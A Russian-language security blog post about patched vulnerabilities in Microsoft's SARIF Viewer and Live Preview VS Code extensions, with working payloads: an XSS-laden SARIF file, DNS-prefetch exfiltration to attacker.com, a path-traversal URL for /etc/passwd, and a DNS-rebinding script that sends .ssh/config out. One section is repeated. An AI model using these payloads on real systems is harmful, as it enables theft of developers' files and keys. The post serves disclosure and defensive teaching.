Многие привыкли считать, что VS Code — это просто текстовый редактор. Но «под капотом» у нас старый добрый Electron со всеми вытекающими. Если расширение имеет доступ к файловой системе, а вы открываете в нём кривой файл поздравляю, вы в зоне риска
Я решил покопаться в безопаснности популярных расширений от самой Microsoft: SARIF Viewer и Live Preview. Спойлер: удалось найти обход защиты (CVE-2022-41042) и вытащить локальные файлы через... DNS-запросы.
Webviews: Песочница, которая иногда протекает
VS Code использует Webviews для отрисовки сложного UI. Это такие изолированные iframe, которые по задумке не должны иметь доступа к NodeJS API. Но расширения часто общаются с ними через postMessage(). Если разработчик накосячил с настройками localResourceRoots или CSP (Content Security Policy) — пиши пропало.
Вот как выглядит «типичное» создание такой панели (с комментариями на человеческом):
// 1) Создаем панель
const panel = vscode.window.createWebviewPanel(
'simpleWebview',
'Привет!',
vscode.ViewColumn.One,
{
// Разрешаем выполнение JS (почти все так делают)
enableScripts: true,
// Ограничиваем доступ к файлам только папкой расширения
// Но что, если здесь указать корень диска? (см. ниже)
localResourceRoots: [this._extensionUri]
}
);
// 2) Вешаем CSP для защиты от XSS
const nonce = getNonce();
panel.webview.html = `
<!DOCTYPE html>
<meta http-equiv="Content-Security-Policy"
content="default-src 'none'; script-src 'nonce-${nonce}';">
<script nonce="${nonce}">
// 3) Общаемся с основным расширением
const vscode = acquireVsCodeApi();
vscode.postMessage({ command: 'alert', text: 'Хацкер детектед' });
</script>
`;
Кейс №1: SARIF Viewer и «прозрачный» Markdown
Расширение SARIF Viewer помогает смотреть результаты статического анализа кода. Проблема нашлась в компоненте ReactMarkdown, где разработчики забыли включить экранирование HTML.
Сценарий: Вы скачиваете лог анализа из интернета, открываете его, и...
Эксплойт в JSON-файле:
{
"message": {
"text": "Ничего подозрительного, просто текст...",
"markdown": "<h1>Начало атаки</h1><img src=x onerror="console.log('XSS сработал')">"
}
}
Поскольку escapeHtml был выставлен в false, наш <img> бодро исполняет JS прямо внутри окна VS Code.
Как украсть файлы, если CSP против нас?
Тут начинается самое веселое. У расширенитя был очень странный localResourceRoots, разрешающий доступ ко всем дискам (от A:/ до Z:/). Но CSP запрещал отправлять данные на внешние серверы через fetch.
Решение: DNS Exfiltration.
Мы можем стучаться на свой сервер через DNS-префетч. Содержимое файла кодируем в hex и пихаем в поддомен.
// Код внутри Webview для кражи приватного ключа
(async () => {
// 1. Читаем файл через внутренний ресурс VS Code
const response = await fetch('https://file+.vscode-resource.vscode-cdn.net/etc/issue');
const content = await response.text();
// 2. Кодируем в HEX
const hex = content.split('').map(c => c.charCodeAt(0).toString(16)).join('');
// 3. Отправляем кусками через DNS-запросы
const chunk = hex.substring(0, 60);
const link = document.createElement('link');
link.rel = 'dns-prefetch';
link.href = `//${chunk}.attacker.com`;
document.body.appendChild(link);
// Профит! Смотрим логи своего DNS-сервера.
})();Кейс №2: Live Preview и магия путей
Расширение Live Preview (1 млн+ установок) запускает локальный сервер на порту 3000. Я нашел там классический Path Traversal, но с изюминкой в парсинге URL.
Браузер и сервер по-разному смотрели на символ ?.
Браузер: считает всё после первого ? строкой запроса (параметрами).
Сервер Microsoft: искал символ ? с конца строки (lastIndexOf).
Сценарий эксплуатации через разницу парсеров:
Если мы запросим такой URL:
http://127.0.0.1:3000/?../../../../etc/passwd?AAA
Браузер не будет нормализовать путь (для него это один большой параметр), а сервер отсечет ?AAA, увидит точки и радостно отдаст нам /etc/passwd.
Кейс №2: Live Preview и магия путей
Расширение Live Preview (1 млн+ установок) запускает локальный сервер на порту 3000. Я нашел там классический Path Traversal, но с изюминкой в парсинге URL.
Браузер и сервер по-разному смотрели на символ ?.
-
Браузер: считает всё после первого ? строкой запроса (параметрами).
-
Сервер Microsoft: искал символ ? с конца строки (lastIndexOf).
Сценарий эксплуатации через разницу парсеров:
Если мы запросим такой URL:
http://127.0.0.1:3000/?../../../../etc/passwd?AAA
Браузер не будет нормализовать путь (для него это один большой параметр), а сервер отсечет ?AAA, увидит точки и радостно отдаст нам /etc/passwd.
// Простой скрипт для кражи паролей через Live Preview
async function steal() {
const target = "http://127.0.0.1:3000/?../../../../../../etc/passwd?";
const res = await fetch(target);
const data = await res.text();
// Отправляем награбленное себе
fetch("http://attacker.com/collect?data=" + btoa(data));
}
steal();
Кейс №3: DNS Rebinding (Уровень: Паранойя)
Что если жертва не открывает ваш вредоносный файл, а просто зашла на ваш сайт, пока VS Code открыт в фоне?
Используем DNS Rebinding. Мы заставляем браузер думать, что наш домен evil.com внезапно стал указывать на 127.0.0.1.
-
Жертва заходит на наш сайт.
-
Мы отдаем скрипт, который бесконечно стучится на наш же домен.
-
Через минуту меняем IP нашего домена в DNS на 127.0.0.1.
-
Браузер исполняет скрипт, дума, что это всё тот же сайт, но на самом деле он уже читает файлы с локального сервера Live Preview.
// Скрипт для DNS Rebinding атаки
async function exploit() {
let success = false;
while (!success) {
try {
// Пытаемся прочитать конфиг через наш домен,
// который скоро станет указывать на localhost
const res = await fetch("/AAA?../../../../.ssh/config?");
const secret = await res.text();
fetch("http://attacker.com/log?key=" + btoa(secret));
success = true;
} catch (e) {
// Ждем 500мс и пробуем снова, пока DNS не обновится
await new Promise(r => setTimeout(r, 500));
}
}
}
exploit();
Как не стать героем следующего аудита?
Если вы пишете расширение, вот вам три «золотых» правила:
-
Забудьте про .innerHTML. Используйте .innerText или нормальные шаблонизаторы.
-
CSP — это не формальность. Начинайте с default-src 'none' и открывайте только то, без чего реально нельзя жить.
-
Парсите URL правильно. Никогда не пишите свои регулярки или поиски через indexOf для путей. Используйте встроенный класс URL.
Microsoft оперативно закрыла эти дыры (и выплатила $7500 за одну из них), но сколько еще таких расширений висит в Marketplace — одному Гейтсу известно.
Автор: Djin22
